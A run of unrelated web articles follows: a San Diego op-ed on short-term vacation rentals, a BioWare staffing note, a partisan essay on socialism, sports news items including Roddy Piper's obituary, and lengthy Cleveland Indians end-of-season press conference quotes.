Ward has described the proposal as a compromise. That’s true, but it represents a compromise between the wrong parties. They’ve listened to the loudest voices in the debate and created a compromise between wealthy property owners who buy homes and turn them into AirBnBs, and property owners who live near AirBnBs and think they are a nuisance. And what about all the people left struggling to find a place to live in our city? How do they benefit from this compromise?
A well-designed short-term vacation rental policy would be a compromise between people who need homes and people who want to vacation. Unfortunately, these groups have not been given a seat at the table.
At the Ocean Beach Planning Board meetings, I am constantly approached by citizens who were kicked out of their long-term rental so that the landlord could list it on AirBnB. And it’s not just existing housing that’s being lost, either. I see many construction projects that come through the Ocean Beach Planning board with the intention of creating short-term vacation rentals, not new long-term housing.
The real losers in this ongoing debate are San Diego’s middle- and lower-class residents who need a home to raise their family, and a roof over their head so that they can continue to contribute to America’s Finest City.
Can I put a clause in my contract that I can only be photographed with purple and blue lighting on either side of me, too? BioWare is introducing lead roles on its new Mass Effect project with nice, colorful studio photography and bios.
A lot of folks are familiar, in-house call ups. The creative director, Mac Walters, was the lead writer on Mass Effect 2 and 3. But there are some new folk, including newly announced lead writer Chris Schlerf, who secretly joined the company back in November of 2013, coming off of writing Halo 4.
Also added last year, Senior Development Director Chris Wynn has worked on Gears of War and more in his 15 year career.
The Left loves to ridicule Republicans for standing on the “wrong side of history.” And let’s concede, for this piece at least, that conservatives hold hopelessly archaic views on social and cultural issues. But what if there were a party whose economic case rested on undermining the most successful, poverty-reducing, prosperity-creating idea ever known to mankind? What would history say about that?
No one seems too troubled that Democrats ratchet up the collectivist rhetoric every election. We mock conservatives for red-baiting and throwing around the word “socialism.” And let’s face it, the term is overused and misunderstood. But as we saw in the Las Vegas the other night, the Democratic Party is not a party of Great Society liberals anymore. We’re not talking about lifting the marginal tax rates a few points, at least not rhetorically. Bernie Sanders isn’t only pulling a quarter of Democrats to his cause, he’s pacing the field ideologically.
In a New York Times piece this April describing Hillary’s alleged progressive epiphany, we learned that the Democratic Party front-runner believes a sound economy requires the “toppling” of the wealthy. Where taxes were once conceived to fund safety nets, police, education, communal improvements through infrastructure, and the nation’s defense, nowadays Democrats talk about taxation as if it were a tool to take from the undeserving—whose ill-gotten gains are built on a foundation of skulls from the victims of a “rigged” system—and give to companies, people, and programs to create societal equality, justice, and harmony.
Has history ever proven that this works?
Theory Versus Practice
In practice, of course, there’s not any difference between a Democratic Socialist and a Progressive Democrat — Hillary’s preferred designation these days — other than, perhaps, the speed at which one wants to work. (Ask her to explain the difference.) Sanders likes to stress the distinction between a Democratic Socialist and your commonplace authoritarian. But state coercion against individuals, even with the blessing of a majority, is still state coercion. Controlling the means of production, even if you attempt to achieve your goal with a combination of punitive taxation, fees, regulatory schemes, cronyism, and executive action, is still controlling the means of production. Sooner or later one kind of authoritarianism leads to another.
Sooner or later one kind of authoritarianism leads to another.
I’m not arguing that we’re there yet. We’re certainly not. But I’m asking: where does the Democratic Party end up on this ideological trajectory? At some point people are going to expect your policies to match your rhetoric.
YouGov recently found that while only 52 percent of Americans have a favorable view of capitalism, 26 percent have a favorable view of socialism. Among Millennials, 36 percent have a positive view of socialism. Democrats were just as likely to have a favorable view of capitalism (43 percent) as they do of socialism. Will these people find socialism as positive in practice as they do in theory?
Just because Uber exists or kids own iPhones does not mean they will reject collectivism — a theory that’s popular among conservatives. Young voters haven’t seen it. Nor do they understand the incredible success economic freedom has had in alleviating real poverty.
Recently, the World Bank projected that world poverty would fall to a record low of 9.6 percent in 2015. The principal reason for the expected decline is the spread of economic freedom. As The Economist reported recently, between 1990 and 2010, the number of destitute fell from 43 percent to 21 percent. This is a reduction of almost one billion people. China’s capitalistic reforms have allowed around 680 million people to escape poverty from the 1981-2010. The extreme poverty rate in China was 84 percent in 1980, and now it’s 10 percent. This expansion of prosperity happens in places that feature an array of races, ethnicities, religions, resources, and climates. What they share is more economic freedom.
Debunking the Zero-Sum Myth
But Democrats have been successful in perpetuating the zero-sum myth as the basis for most debate. When capitalism fails — because of criminality, abuse, or even because it must (such as creative destruction) — there is an indictment of the entire of system. Then liberals tell us this ‘failure’ necessitates less freedom or perhaps some anti-market reconfiguration (green economy and so on) of the real thing.
Liberals like to claim that if a person supports any government program it means that person enjoys the benefits of socialism.
Liberals like to claim that if a person supports any government program it means that person enjoys the benefits of socialism. You’re a fan of Social Security? You love socialism! You like public education? Yep, you guessed it. You’re a fan of alternative energy — or whatever euphemism we’re using now for state-subsidized energy schemes — you need socialism to get it done. But of course, all of that is propped up by a productive markets. If you’re a fan of the subsidized electric car, thank the capitalist for allowing you to be a hobbyist.
This article was published 11/7/2014 (1691 days ago), so information in it may no longer be current.
Chew on this tidbit of news: eight-time Nathan’s Hot Dog Eating Contest champion Joey Chestnut is coming to Winnipeg.
Chestnut will compete in a five-minute all-you-can-eat fish taco challenge at Investors Group Field during halftime of a Winnipeg Blue Bombers football game versus the Saskatchewan Roughriders on Aug. 7.
Challengers can sign up for the official Major League Eating event here.
The Canadian Press
LOS ANGELES -- The pro-wrestling world lost one of its best known personalities on Friday with the death of Canadian "Rowdy" Roddy Piper, he was 61.
The WWE posted on its website that Piper, whose real name is Roderick Toombs, died on Friday, but there was no immediate word on the cause of death.
Piper was born in Saskatoon and rose to prominence in the 1980s, battling the likes of Hulk Hogan in what was then the World Wrestling Federation.
WWE chairman and CEO Vince McMahon described Piper as one of the most "entertaining, controversial and bombastic performers ever in WWE."
Some of the other big names from pro-wrestling in the 80s were tweeting their condolences and paying tribute on Friday.
"Sad to hear about Roddy Piper. He once worked 91 nights w/out a day off. WWE wouldn't be what it is today w/out him. Wonderful athlete & friend," tweeted former Minnesota governor Jesse Ventura, who was one of Piper's contemporaries.
"I am shocked and saddened to hear of Roddy Piper's passing. He was one of a kind and one of the all time greats," said wrestling star Steve Austin in a post on Twitter.
"I love you forever, god bless you bubba," tweeted the Iron Sheik.
"I am so sad to tweet that my friend Roddy Piper passed away last night. He was really such a sweet man. My heart is with his family," tweeted singer Cyndi Lauper, who made frequent appearances in wrestling shows in the 80s and 90s.
Piper's family moved around the Prairies in his youth and he became involved in wrestling at the age of 15 in Winnipeg.
Piper turned pro in the late 70s and eventually moved to Los Angeles where he became involved in what is now World Wrestling Entertainment making a name for himself in high profile bouts with the likes of Hulk Hogan and Mr. T.
He was credited with helping to launch Wrestlemania and later became a commentator for pro-wrestling matches before trying his hand at acting.
His most notable role was in John Carpenter's sci-fi cautionary tale "They Live," according to his bio on the WWE website.
Piper returned to the wrestling world in the 90s, published his autobiography and the WWE named him to its Hall of Fame in 2005.
His son Colt Toombs said in a tweet that his father was a great man.
FRANCONA: “It’s different. Last year, the one thing about emotions that’s really cool is that you don’t know what they’re going to be, and last year pride won out so much. This year, our season ended before we wanted it to and that happens to a number of teams, but the way we went into these playoffs, I felt like we were positioned to do some damage. And you know, some of the damage was self-inflicted and we hadn’t played like that. So there were a number of things that went wrong and we still competed like crazy and think that’s something our guys do a good job of. But, we didn’t play our best baseball and so you have to go into offseason knowing that and it is really hard. It’s, you know, you spend time thinking about it and like Cherny said yesterday he was in kind of a fog. But I mean, it’s a hard thing to rationalize, because we spend so much time doing it and we can’t just turn it off when it’s over. It’s impossible.”
On the team-wide offensive struggles in the ALDS:
FRANCONA: “Yeah, it, I mean, we were talking a little bit ago and our batting average was [.171] and our OPS was in the 500s. And their arms, they have some really good [pitchers]. They have a good staff. Saying that, I don’t think anybody should be able to do that against us. We just, for whatever reason, we didn’t put our best foot forward all the time. The comeback win was incredible, I think that maybe masked our inefficiencies during the series. But that’s something that we’ll certainly try to figure out how to dissect it so you can learn. We’re always trying to learn, but I don’t think we have every single answer right now.”
Asked if Corey Kluber was fighting a back issue:
FRANCONA: “No, I didn’t ever say that. I think you guys took that and ran with it. I said that he was maintaining his back exercises. I never said his back hurt, ever. I don’t doubt it was the interpretation but I never said that. His back was the same as it had been all year.”
On what Kluber was fighting through in Game 5:
FRANCONA: “That’s the hard one for us. We talk to guys at length, obviously, and for whatever reason his arm slot as he got into the games was kind of getting lower and lower, which meant his fastball was becoming flatter and flatter. The biggest thing I told Klubes before Game 5 was, ‘You’re our guy, obviously, we just want to make sure something is not bothering you or not telling us.’ And he said, ‘I’m fine.’ But, we did notice that his stuff was flattening out and in a Game 5 situation, you could only be so patient, so we made a move when we did. But, he still says he’s fine. Now, everybody gets exit physicals and you go through these guys pretty closely. You know when the season is over the can take a deep breath, we’ll see what comes.
“With all the things that didn’t go right, his two starts, it’s just hard to imagine he would be leaving games when he did. That was not something that we expected.”
On going with Trevor Bauer over Mike Clevinger for Game 4:
FRANCONA: “We did want to go with Bauer. We were having a hard time getting Clev through one inning. You watched, right? Do you think Clev was having a tough time? “He was having a tough time getting through his innings. We did want to start Bauer. That’s part of why we set it up the way we did. We would have started Tomlin if we didn’t pitch him, but when we pitched him we felt like that might not be the best way to go.
“It’s open season on second guessing. … I think you’re throwing things out there and not thinking it through. I think it’s too easy to do that, also. I think there’s some middle ground there.”
On difficulty of a starter moving to a bullpen role:
FRANCONA: “That’s why the last week of the season we decided to put Clev in the bullpen so that wouldn’t be the case. He relieved last year, also, so that was the reasoning there. We wanted Clev to be a huge weapon for us in the playoffs. We were having a difficult time getting to that. The game we won, he gave up the home run. We brought him in in New York and tried to get some length and we had to take him out, so that didn’t work out the way we wanted it to.
“With Danny, it was a huge question mark, because we’ve all seen what Danny can do and at times what Danny did. For me, the question marks are the toughest thing to maneuver around. If you know what somebody can or can’t do, you try to stay away from it. When you don’t know, that can be very difficult. We had a number of question marks that I agree made it difficult.”
Asked if, now with the benefit of hindsight, he would change any of the decisions made for ALDS roster:
FRANCONA: “We were talking about that today. I really don’t think so. It’s too easy when you lose to say, ‘We could have done this.’ Even myself, I get it. But we had Kluber, who was virtually unhittable. We had him on two starts on normal rest, and it didn’t go very well. It’s going to be hard to win a series when that happens.
“No. I don’t think anybody is tougher on me than me, but we’ll never just throw something on the wall and hope it sticks.”
On whether the arm slot problem dated back to end of regular season for Kluber:
FRANCONA: “In the game against the White Sox, he was getting under balls. And he knew it. We took him out after the fifth inning. He was kind of joking, he said, ‘I don’t want to get into some bad habits.’ So after that game they went to the bullpen and had a pretty good bullpen session. Then Game 2 didn’t go very well. When that happens, we all kind of stop and think, ‘OK. What’s going on here?’ But, his bullpen was tremendous and he felt good going into the start. His first inning, other than yanking a ball to Didi, he was really pretty good. And then you start noticing in the second he started to creep down a bit. I don’t think he even realized it. But we could tell.”
Asked if it was a tough decision to carry Michael Brantley on the roster, because he was still fighting some offensive rust:
FRANCONA: “I don’t know about a tough decision. I didn’t think we all anticipated that he would have to play as much as he did. Or if he did, he kind of worked his way into it. You saw his at-bat when he came back. We kind of thought we could envision that at-bat in a playoff game, where he helped us win a game. We lost Edwin and it seemed to make sense to me, facing some right-handers to not put him in the outfield. Our other alternative was Lonnie, who didn’t have a heck of a lot more at-bats than him.”
On tough decisions ahead on long-time Indians like Brantley, Carlos Santana and Josh Tomlin:
ANTONETTI: “First and foremost we have an appreciation for what all those guys have done over the course of their careers with us. They’ve all been huge contributors to our success over the last few seasons. We’ve got a great deal of appreciation for that. In a couple of those cases we’ve have decisions to make about options that we’ll have to make in the next couple of weeks. In Carlos’ case he’s obviously a free agent. He’s a guy we’d like to have back. We’ll see if there’s a way where we can make that happen.”
On areas of the roster in need of improvement:
ANTONETTI: “We have the benefit now of having a few weeks to work through how we’ll configure our roster. That’s the first thing we need to think about: How we’ll configure our things internally and then see what kind of opportunities are out there externally. Our goal, no matter where we stand presently, is to try to find ways to improve. We’ll go into the offseason just like offseasons in the past, thinking about ways where we can get better.”
“If you look across the board at our team performance. We performed pretty well throughout the course of the year. We had the best run differential in baseball. If you look at our offense, our defense, our starting pitching, our relief pitching, it was all pretty good. That’s a good foundation going into the offseason. But that doesn’t mean we’re not going to look to get better.”
On not overreacting to five games:
ANTONETTI: “It’s really important to distinguish disappointment in the result vs. disappointment in the process. It stinks that we’re sitting here today. We’re all incredibly disappointed that we’re still not playing, and that’s a result that we’re going to have to live with. But I am incredibly proud of the process and the group and how we do things as an organization. We focused a lot and there’s been a lot of discussion on decisions and what decisions we made. And we’re left to live with those results. But I’m really proud of the way we worked through them. We worked through them as a group. And as a group and working together we accomplished a lot of great things this year. Winning 102 games is a pretty great accomplishment. Winning 22 consecutive games and doing something no team has done for over 100 years, that’s a great accomplishment. It’s not the one we sought out to do. It’s not the one we wanted. But, there’s still a lot of great things that happened during the course of the year. And I couldn’t be more proud to work alongside and with the group we do.”
On being unable to close out series in the playoffs the last two years:
FRANCONA: “I certainly have kind of asked myself that a little bit, too. We keep our radar up pretty much for anything. Do you see a team that thinks it’s going to come too easy? Do you see a team that’s pressing? Our guys were pretty consistent. How many times have you heard me say every game’s different? That’s going to get grouped together — how many put-away games we’ve had. I don’t view it like that. I think every game is separate. For whatever reason — there are different reasons every game — we didn’t win that game. I don’t think it’s a common theme. Last year, so much was made of having Napoli and his presence. We still weren’t good enough to put away. So I think it’s different all the time. Chris said it better than me. We won 102 games. The playoffs is a completely different animal. Last year we won that first game, albeit with little different methods. Then we got hot as all get-out, and probably played better than we had during the season. This year it went the other way. Unfortunately that happens. You can’t push a button and play your best baseball, or believe me, we would.”
Asked if the 22-game streak might’ve had any negative impact:
FRANCONA: “No, I think it was good for us. I think it was real good, because we had, for the better part of about three months, we were kind of stuck in neutral. We never lost a bunch, but we didn’t win a bunch. We came back from the West Coast and I think we were three of four games over .500. And, from that point on, we were a different team. So no, I think it was really good for us.”
On Jason Kipnis’ role next season:
ANTONETTI: “We’ll have the benefit of a few weeks to work through that and think about what the best way to configure our roster is. Some of that will be dependent upon the guys we have, and some of it will be dependent upon what opportunities are out there externally for us. I don’t think we need to make that decision today. I think Kip deserves a lot of credit for working really hard and going out there and becoming an option as an outfielder. He put in a lot of work to make that happen. To have a guy that now has the versatility — we talk about it all the time as we build rosters — having guys that have versatility to play multiple positions is an asset for us.”
Asked if this season took a physical toll on Francona:
FRANCONA: “A lot. We were just talking to the other group a little bit ago. This is by far the most wiped out I’ve ever been after a season physically. And I need to, when I go home, whenever that is, make a concerted effort to getting stronger. And I don’t mean stronger like look good in the lobby stronger. But, because I have a responsibility to do some things here, and I felt like at times I leaned on Millsie and some of the coaches too much. It’s supposed to be the other way around, so I need to get a little stronger so I can uphold my responsibilities here, so I don’t short-change anybody, because that’s not good.”
ANTONETTI: “By the way, that’s never happened, that he’s short-changed anybody.”
Asked if he is returning as manager:
FRANCONA: “Unless there’s something I don’t know. No, I just was trying to answer it as honestly as I could. There’s no hidden meaning or anything like that. I’m just pretty wiped out. … During the season, we don’t really ever take time to take stock of ourselves. You go, go, go until it’s time to not go. But, I know that it was harder for me this year physically than it’s ever been.
“In a perfect world, you have energy and you’re out there because you feel like you can help. So, I need to go back home, when I do go back home, with that in mind. Swim more than I’ve swam in the past and be healthier so when I go into next spring, there’s more gas in the tank. Because, it was hard physically.”
On Jay Bruce being a free-agent
CHERNOFF: “He was phenomenal at coming in here and just fit in immediately in the clubhouse. He was a real pro around the other guys and came in at a big time of need with Lonnie and Brantley both out. And just had a tremendous contribution on and off the field. I think as we head into the next few weeks and into the free agency period, we’ve got to kind of get together as a group and figure out which of the internal guys or external guys can we play on or do we need to play on, and we’ll take those decisions and start working through them over the next few weeks.”
On feedback from Bruce:
CHERNOFF: “He seemed to really enjoy his time here. He talked a lot about Tito and the environment that he created here, and he seemed to really like it. So, there’s certainly, I would think, a mutual interest. Whether that can actually work out, free agency is always a different question.”
On the possibility of losing Mickey Callaway or Sandy Alomar. Jr. to a managerial vacancy:
FRANCONA: “I think from my side of it, I’d be surprised if some teams don’t come looking at some of our coaches, because we have really good coaches. I also think there’s probably a respectful way to go about it, where if teams want to talk about that, I think it’s up to them, not us to do that. But, I would be surprised if some of our guys don’t get interviews.”
Asked if there is a bittersweet feeling when a coach is up for a promotion elsewhere:
FRANCONA: “The pride always wins out. It never fails, guys deserve a chance because of the work they do, and then it’s on us to find the next best person. And, yeah, it hurts when you lose guys, but believe me, the pride wins out, because they deserve that.”
On Yandy Diaz’s role going forward:
CHERNOFF: “Again, like we talked about with Kip a little bit, he certainly has some versatility in different positions that he played this year. Tito can probably talk more about it, but he came up and really helped us at a time when we were kind of sorting through things. Especially in September. We were able to tap into a lot of the depth on our roster and kind of mix and match. As we head into next year, we’ll have to figure out what the alignment is defensively with guys like Kip and Jose and Gonzo and Yandy is a part of that, obviously, too. But, I think we certainly have options with the depth that we have.”
Asked what position Francona has in mind for Diaz:
FRANCONA: “I could see Yandy potentially being our third baseman. He could probably do other things also. It’ll be nice to have a whole spring with him where the Major League staff is with him and he can work at one position.”
On Diaz bouncing between positions in the spring:
FRANCONA: “He was playing everywhere. And we probably asked more of him. It got to a point where we were trying to go by need, which I think makes sense, but the need kept changing and so Yandy would go one way and then the other way. I think if we can keep him at a position, that would be the best for him. And my guess would be that third base is probably his best spot, but things change, as we’ve seen.”
Asked for reasoning behind Diaz being off the ALDS roster:
FRANCONA: “You know, the idea was that he hadn’t played a ton and he wasn’t swinging the bat like he had been. And then, when we tried to put our roster together, we had Brantley and Chisenhall, and the idea was to be really good defensively and we could hit where we wanted. As we saw, things unfolded vastly different. All of a sudden, Edwin’s not available. There goes one of our hitters. And we didn’t particularly catch the ball all that good, either. So, it didn’t work out the way we anticipated.”
Asked if any players had surgeries coming up:
ANTONETTI: “Brandon Guyer just had [wrist]surgery. He’s rehabbing and he’s actually in the clubhouse right now. That’s the only one on the docket right now. But, what we need to do is take stock of where everyone is. Everyone is going through the process of getting exit physicals. We’ll see where it goes from there.”
Asked if Roberto Perez will be the starting catcher next season:
FRANCONA: “I don’t think there’s any reason to name a number one in October. I think we have two pretty good catchers. You make decisions, and the decision to start him the last game was really hard. I went back and forth, talking to coaches, talking with Mickey, talking with Millsie. I think what I said was that there wasn’t a wrong decision, but I don’t think we would go out and name somebody the number one catcher right now. We thought we had two pretty good catchers during the season, and during the playoffs you do things because you’re trying to win. that has nothing to do with moving forward, who will catch more games.”
On the lineup pressing in the ALDS:
FRANCONA: “We did not swing the bats as a ballclub real well. I think they have a lot to do with that. We got to Game 3, and then when you have guys that aren’t swinging the bats well and you have a guy like Tanaka, who exasperates that with his style of pitching, it kind of overwhelmed us. Their bullpen is fantastic, a lot like ours. Our bullpen, we got to our bullpen in the third inning and held them for the rest of the way until the end when we got sloppy again. But those are two of the best bullpens in the game.”
ANTONETTI: “For context, and just to finish on that, too, obviously, we did not swing the bats the way we had hoped. Some of that’s the function of the pitching staff we faced, but if you look at the Yankees, they were a prolific offensive team during the course of the season. Their offense was appreciatively different than it was during the season. I think that is an element of two very good pitching staffs facing off. Scoring in the postseason is a lot more difficult. You’re facing a lot better pitching.”
FRANCONA: “We got over aggressive, for sure. We got to a point where we were chasing up and down. Usually, its one or the other. But we did get overaggressive.”
ANTONETTI: “As Tito said, going into the series, we felt very very good about where we were. That being said, we had a great respect for that Yankees team and their staff. I know they snuck in in the Wild Card, or what could be perceived as snuck in, but they are a really good team that was playing really well at the end of the season. We knew we had our work cut out for us by the opponent we were playing, but we felt really good about where we were and how well positioned we were. Obviously, after Game 2 we felt great about our positioning.”
On internal options for first base if Santana isn’t back:
ANTONETTI: “That’s something we need to work through. Edwin’s obviously played there. Lonnie’s played there some. We have some other guys that have some experience at first base. And then there’s a litany of guys on the trade and free-agent market that we’ll explore.”
On Santana’s season and improvement defensively:
FRANCONA: “It was one of the bright spots and we had a lot of bright spots this year. Not just his defense, but his advancement, being a teammate, just his attitude. He was fun to be around. I think he’s expressed to me so many times how he wants to stay here and I know these things happen to work out, but he was a joy to be around this year.”
On Danny Salazar:
FRANCONA: “We have to find a way, Danny included, to get him more consistent. That’s such a big word in our game. And he’s had times, you look he made the All-Star team. Again, he’s still very young and with young players, young pitchers especially, we’ve seen it with Carrasco or look at Kluber, you can’t give up on good young pitching or they’ll be pitching good for somebody else. And it’s not always perfect, but we got to keep working at it, because there is work to do. But, if we can get it figured out, we’ve all seen what he’s able to do.”
CHERNOFF: “Whether that’s consistency of performance or just consistency in his durability and ability to go out and make 30-plus starts in a season. It all comes back to that.”
On Bryan Shaw:
FRANCONA: “We were talking about that earlier. Sometimes I think the way I view it is it’s almost like the offensive lineman that shows up every game and the only time people really talk about them is when he misses a block. He took so much pride in being available, and he carried so much of the load for us for five years. It is remarkable. And you guys saw the other day, he was throwing 97. And I think because of his personality, people laugh it off at times. But my goodness sakes, he is so reliable. And if he’s not in our bullpen, it will probably take two guys to do what he did. It’s amazing. He’s kind of happy go lucky, but boy does he take a lot of pride in pitching.”
Jokingly asked if Francona will still be calling the bullpen for Shaw even if the pitcher is gone next year:
FRANCONA: “It will be hard not to. It’s kind of easy to take him for granted, because he does it. There was so few times over the course of five years where he wasn’t available. There’d be times where I’d tell him he’s not available. And he’d go, ‘I’m fine.’ It’s amazing.”
Jokingly asked if his cribbage winning percentage will rise if Shaw isn’t around:
FRANCONA: “Well, he may be able to sign with another team for less, and make more money, because he’s not very good.”
On Andrew Miller’s knee:
ANTONETTI: “Good. Andrew said he felt really good at the end of the season. Felt good throughout the postseason. One of those guys will make sure we get checked out, make sure that he’ll be in a good spot going into the offseason and he’s got a good plan coming into spring training.”
On the $17.4-million Qualifying Offer for free-agents:
ANTONETTI: “Are there guys on our roster that we would consider making a qualifying offer to? Yes. So, what we have to decide is, ‘Does it make sense for us to pay one of those guys $17.4 million on a one-year deal?’ That’s really the question we have to answer. So, there are guys that we can envision that being the case for, certainly.”
Asked how a team can ask for more from a group that accomplished so much in the regular season:
FRANCONA: “That’s why we try to do things the way we do it. We show up, we try to do your best every day. We try to value what it takes to win more than the teams we’re competing against. And we’re sitting here answering questions today and it’s really raw, and it’s disappointing the way it ended. I also don’t want that to get skewed, because when I hear questions like, ‘Will you have holes?’ We won 102 games. That is so hard to do. And, with time, I think you’re able to see things more clearly and not let things skew some of your decisions. Today may not be the best day to do that. Some things change. Some things never change. The way we go about attacking, trying to be good, that’ll never change regardless whether some of the names do or not.”
Asked if he felt physically wiped out during the season:
FRANCONA: “Yeah, a little bit. Fortunately I don’t have to hit or pitch or anything. Yeah, it was challenging. I had a lot of good people that [helped]. Millsie took so much pregame responsibility, which I appreciate and I lean on him. And it had nothing to do with the decision-making process or anything. But a little hard physically, but nothing more than that.”
On the mood of the players last 24 hours:
ANTONETTI: “Shared the disappointment, obviously. All of those guys were hoping and expecting we were going to be playing, not packing up boxes.
More on difference between this year and last year’s ending:
ANTONETTI: “It is different. Last year, when our season ended, we knew it was ending. We were either going win the last game or lose the last game. This year, we didn’t. We expected to be playing more games. The reality is we’re not. And so that is a little bit of a different dynamic than last year.”
On Callaway’s impact over the years:
FRANCONA: “The first thing that I noticed when the season started our first year was his level of confidence. It seemed to me that it exceeded his experience. Then, as you watch him and you’re with him every day, you see that that confidence allowed him to have other voices, and get input from other people, and sift through that and take what he wanted. But my goodness, he had such an impact on the pitching staff. He’s so good. And I would be surprised if that doesn’t lead to him managing if he wants to at some point, because he’s really good.”
Asked about Kluber’s heightened curve usage early in Game 5:
FRANCONA: “Game plan. We were trying to use… it was a point of trying to use our best breaking ball early in the game. Just try get them off the fastball and slow them down.”
On what could be behind Kluber’s low arm slot issue:
FRANCONA: “It could be fatigue. It could be that he’s getting lower on his back leg that’s bringing his arm down. There’s a lot of things.”
ANTONETTI: “And as Tito said, his bullpen before that start, he was working on those adjustments to keep his arm slot was. He felt good coming out of that bullpen.”
Asked if that had been a problem for Kluber in the past:
FRANCONA: “Sure. It happens from game to game. It’s just everything is so magnified in a playoff setting, as it should be.”
On Kluber’s strong finish to the season:
FRANCONA: “It’s why at times if I appear edgy when I’m asked, [it’s because] we had it set up like we wanted to. It’s hard to imagine having a better guy giving the ball to. It didn’t work.”
On taking time to appreciate the winning streak:
FRANCONA: “I haven’t. I enjoyed the journey. I always enjoy the journey, even when it’s not the way you want it to go. I enjoy going through it with our guys, and [the front office]. It was the same way during that. It wasn’t the end all, be all to us. You have more games to play. I thoroughly enjoyed it. I think I probably enjoyed it differently than people realized. I wasn’t all that caught up in everything that everybody else was. I just liked the way we were playing. I liked the way we played after that even more. That’s where you can see a let down. I thought we played just as good of baseball after that.”
Asked if there could’ve possibly been a better September experience for the callups:
ANTONETTI: “Yeahh, continuing to play further into October. I can imagine it being better. But I think that was one of the things that was great about the streak. Sometimes in September, depending on where you are competitively, those games can kind of just pass by. There’s not a lot at stake. But our guys were, you know, they were playing with something on the line. Mike Clevinger, I think, the 20th game, where we had the opportunity to tie the record. Yes, it was a regular season start, but there was a little bit more to it than there would have normally been. I think some of our other guys benefited from that same experience. Beyond the streak, but playing meaningful games in September, where there’s a lot on the line all the way up to the last day is a really good development opportunity for guys. We talk about it all the time. For our Minor Leaguers, when they get up here, it’s all about, ‘How do you find a way to help the team win?’ In Greg’s case, this was a guy that’s played every day in the Minor Leagues, but we were asking him to come in and pinch run in a one-run game or go in and play defense for an established Major League guy. Those are great opportunities for guys to develop and think about how they can help the team win.”
On Jose Ramirez turning into a star:
CHERNOFF: “It was really fun to see that. We’ve seen it with some other guys who have struggled, like Kluber, where he has his ups and downs in his first couple of years, then just turns into this tremendous pitcher. Jose, the same thing, he had been through a lot in his Minor League career up to that point, some of the ups and downs, to see the day-to-day consistency that he had, when he went into a little bit of a slump at one point, to be able to pull himself out of that. It was tremendous to be able to watch that.”
On the plans for third base:
FRANCONA: “I don’t think we need to make the lineup out for next year yet. And I think what we did in the playoffs won’t mean anything moving forward. The reasons that I said before is why we had Urshela. We’re not going to go into a season planning on pinch-hitting for our third baseman at the first opportunity. That was just by the way things were working out for us now. That won’t be the case when the season starts.”
On Francisco Lindor’s power surge:
ANTONETTI: “I think the information would say it was more hard contact. I don’t know if it was purposeful on his end, but that contact ended up being balls that were line drives and balls that were in the air more frequently than ground balls. But Frankie would be the first to tell you that wasn’t a purposeful thing he was looking to do. Tito has talked about that all the time, the evolution of hitters, as they just get more time and more experience, they develop and sometimes that power comes on a little bit later. I think what Frankie did throughout the course of the year was put up a lot of really good at-bats and make a lot of hard contact.”
On Lindor’s consistency amidst increase in responsibilities on and off the field:
FRANCONA: “I think he’s smart enough to know what comes first and that’s baseball. He loves playing, which, and he has a ton of energy. We talked to him early in Spring Training about the things off the field. But he’s mature beyond his years in a lot of ways.”
On the development and emergence of Tyler Olson:
FRANCONA: “I think the natural first question is, ‘Is it real?’ And I think as he continued to pitch, he was legit. I mean, he can probably actually handle more than he was given. I think during a regular season, you will see him start to throw full innings, because his two-seamer is so good down in the zone and he’s got so much movement that he might be a guy that won’t just face lefties, but pitch full innings.”
On the job the front office did:
FRANCONA: “I wish they weren’t sitting here — it would be easier to say. I’ve never been in a place in my life where I have felt so comfortable with the way that we go about things. Even when we’re not successful, the way we come to our conclusions or to our answers, we do it in such a way that when I step back and I see — maybe something I’ll see on TV — I’ll say ‘Woah. That’s how it can be.’ The grass is greener here for me, and it’s not just me. I think those sorts of things start at the top and trickle down, and I don’t think Chris or Cherny get enough credit for the attitude around here. I think they deserve more. I love the way we do things around here. Now, we’re not always, as we’re seeing today, we’re not always successful, but the way we go about it, I have bought into it and I will continue to.”
ANTONETTI: “We can leave now if you want to tell them the truth.”
FRANCONA: “Gosh that was hard.”
ANTONETTI: “Do you take cash, credit, money order?”
Asked if there were any concerns early on when Edwin Encarnacion was going through his slump:
CHERNOFF: “If you are asking me that question, you obviously don’t know me very well. I am nervous all of the time about everything. I think it’s a huge credit to Edwin. He came to play every day despite the struggles he went through. You could see in the work and the way he was going about it, his desire to be in the lineup every day, that he was going to find a way through it. This guy is a tremendous hitter and has been for a long time. Obviously we were searching for every possible resource to help him find a way through that, but I don’t think there was any heightened anxiety that he had turned into a different kind of hitter. It was more just, ‘How do we help him get through that?’”
On trusting that Encarnacion would finish strong:
FRANCONA: “I’ve said it a million times, I think guys that, as long as they maintain their health, they’re going to get to their numbers. It’s the damndest thing you ever seen. Even the guys that get out to the good start, guys that are hitting .500 after three weeks, you look up and they’re hitting .260. They just get to their numbers. Edwin still had his bat speed, he was still healthy. There were things along the way that certainly helped me. There were a couple of times where I wanted to give him a day off because I thought it would be good for him, and he was like, ‘No.’ I really appreciated that. I thought this is a guy who, he’s trying to figure it out, and we just needed to be patient. Sometimes it’s hard to be patient. But as you look back, if you’re not, we could have really missed out on some good baseball.”
On Austin Jackson:
ANTONETTI: “I think just going back to the time we signed him, we felt that he was a good fit and that he complemented our roster with some of the things he brought: Versatility to play different outfield positions, a right-handed bat to complement some of our left-handed hitters. We knew he had some success in the past, but it would be hard to say we would fast-forward to today and he would be one of the more productive hitters on our team. I’m not sure we could have envisioned that at the time. To Austin’s credit, he did a tremendous job through that rehab process, getting himself back healthy and strong and then taking advantage of opportunities when he was given them. Not only against lefties, but there were times against righties when some of our other guys were down and he was a big part of our offense.”
On considering re-signing Jackson:
ANTONETTI: “Absolutely. Austin did a great job.”
Asked if, barring anyone being hired by another team, the coaching staff would remain intact for 2018:
ANTONETTI: “Everyone is under contract for 2018. As Tito said before, we expect that there will be interest from other teams in a number of our coaches, and I think we will have to see how that process.”
On Brantley’s $11-million team option:
ANTONETTI: “It’s a significant decision for us, but as we told Michael, we’ve always envisioned him being part of the organization, not only for 2018, but beyond. That’s been our mindset from the beginning. There’s a process that we need to work through with making those decisions. At the same time, Michael needs to go through the process of just getting healthy and figuring out what his plan needs to be. There is no player on our team that goes about things better than Michael does: The teammate that he is, how hard he’s worked and prepared. He sets that standard for our guys. We have a profound appreciation for what he’s done and how he does it.”
